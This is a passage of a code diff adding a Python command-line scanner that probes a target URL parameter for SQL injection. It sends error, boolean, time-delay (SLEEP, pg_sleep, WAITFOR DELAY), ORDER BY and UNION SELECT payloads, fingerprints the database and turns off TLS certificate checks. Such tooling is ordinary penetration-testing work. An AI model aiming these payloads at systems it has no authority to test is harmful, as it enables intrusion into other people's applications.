+ true_match = len(true_resp.content) == len(baseline_resp.content)
65
+ false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10
66
+
67
+ return {
68
+ "technique": "boolean_based",
69
+ "parameter": param,
70
+ "injectable": true_match and false_diff,
71
+ "baseline_length": len(baseline_resp.content),
72
+ "true_length": len(true_resp.content),
73
+ "false_length": len(false_resp.content),
74
+ }
75
+
76
+
77
+ def detect_time_based(url: str, param: str, method: str = "GET",
78
+ headers: Optional[dict] = None, delay: int = 5) -> dict:
79
+ """Test time-based blind SQLi with sleep functions."""
80
+ payloads = {
81
+ "mysql": f"1 AND SLEEP({delay})--",
82
+ "postgresql": f"1; SELECT pg_sleep({delay})--",
83
+ "mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
84
+ }
85
+ results = {}
86
+ for db, payload in payloads.items():
87
+ start = time.time()
88
+ _send(*_build_request(url, param, payload, method), headers)
89
+ elapsed = time.time() - start
90
+ results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}
91
+
92
+ injectable = any(r["delayed"] for r in results.values())
93
+ detected_db = next((db for db, r in results.items() if r["delayed"]), None)
94
+
95
+ return {
96
+ "technique": "time_based",
97
+ "parameter": param,
98
+ "injectable": injectable,
99
+ "database": detected_db,
100
+ "delay_target": delay,
101
+ "timing_results": results,
102
+ }
103
+
104
+
105
+ def detect_union_columns(url: str, param: str, method: str = "GET",
106
+ headers: Optional[dict] = None, max_cols: int = 20) -> dict:
107
+ """Determine the number of columns for UNION-based injection."""
108
+ for n in range(1, max_cols + 1):
109
+ payload = f"1 ORDER BY {n}--"
110
+ resp = _send(*_build_request(url, param, payload, method), headers)
111
+ if resp.status_code >= 400 or "error" in resp.text.lower():
112
+ return {"technique": "union_column_count", "parameter": param, "columns": n - 1}
113
+
114
+ return {"technique": "union_column_count", "parameter": param, "columns": None}
115
+
116
+
117
+ def fingerprint_database(url: str, param: str, method: str = "GET",
118
+ headers: Optional[dict] = None) -> dict:
119
+ """Identify the database engine using version functions."""
120
+ version_payloads = {
121
+ "mysql": "1 UNION SELECT @@version,NULL--",
122
+ "postgresql": "1 UNION SELECT version(),NULL--",
123
+ "mssql": "1 UNION SELECT @@version,NULL--",
124
+ }
125
+ for db, payload in version_payloads.items():
126
+ resp = _send(*_build_request(url, param, payload, method), headers)
127
+ if resp.status_code == 200 and len(resp.content) > 50:
128
+ return {"database": db, "response_preview": resp.text[:200]}
129
+
130
+ return {"database": "unknown"}
131
+
132
+
133
+ def _build_request(url: str, param: str, value: str, method: str):
134
+ if method.upper() == "GET":
135
+ separator = "&" if "?" in url else "?"
136
+ return f"{url}{separator}{param}={requests.utils.quote(value)}", None
137
+ else:
138
+ return url, {param: value}
139
+
140
+
141
+ def _send(url: str, method: str = "GET", data: Optional[dict] = None,
142
+ headers: Optional[dict] = None) -> requests.Response:
143
+ h = headers or {}
144
+ try:
145
+ if method.upper() == "POST":
146
+ return requests.post(url, data=data, headers=h, timeout=15, verify=False)
147
+ return requests.get(url, headers=h, timeout=15, verify=False)
148
+ except requests.RequestException:
149
+ return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()
150
+
151
+
152
+ def run_assessment(url: str, param: str, method: str = "GET") -> dict:
153
+ """Run complete SQL injection assessment."""
154
+ error = detect_error_based(url, param, method)
155
+ boolean = detect_boolean_based(url, param, method)
156
+ timing = detect_time_based(url, param, method)
157
+ columns = detect_union_columns(url, param, method) if error["injectable"] else {}
158
+
159
+ injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
160
+ findings = []
161
+ if error["injectable"]:
162
+ findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
163
+ if boolean["injectable"]:
164
+ findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
165
+ if timing["injectable"]:
166
+ findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")
167
+
168
+ return {
169
+ "target": url,
170
+ "parameter": param,
171
+ "injectable": injectable,
172
+ "error_based": error,
173
+ "boolean_based": boolean,
174
+ "time_based": timing,
175
+ "union_columns": columns,
176
+ "findings": findings,
177
+ }
178
+
179
+
180
+ def main():
181
+ parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
182
+ parser.add_argument("--url", required=True, help="Target URL")
183
+ parser.add_argument("--param", required=True, help="Parameter to test")
184
+ parser.add_argument("--method", default="GET", choices=["GET", "POST"])
185
+ parser.add_argument("--output", default="sqli_report.json")
186
+ args = parser.parse_args()
187
+
188
+ report = run_assessment(args.url, args.param, args.method)
189
+ with open(args.output, "w") as f:
190
+ json.dump(report, f, indent=2)
191
+ logger.info("Report saved to %s", args.output)
192
+ print(json.dumps(report, indent=2))
193
+
194
+
195
+ if __name__ == "__main__":
196
+ main()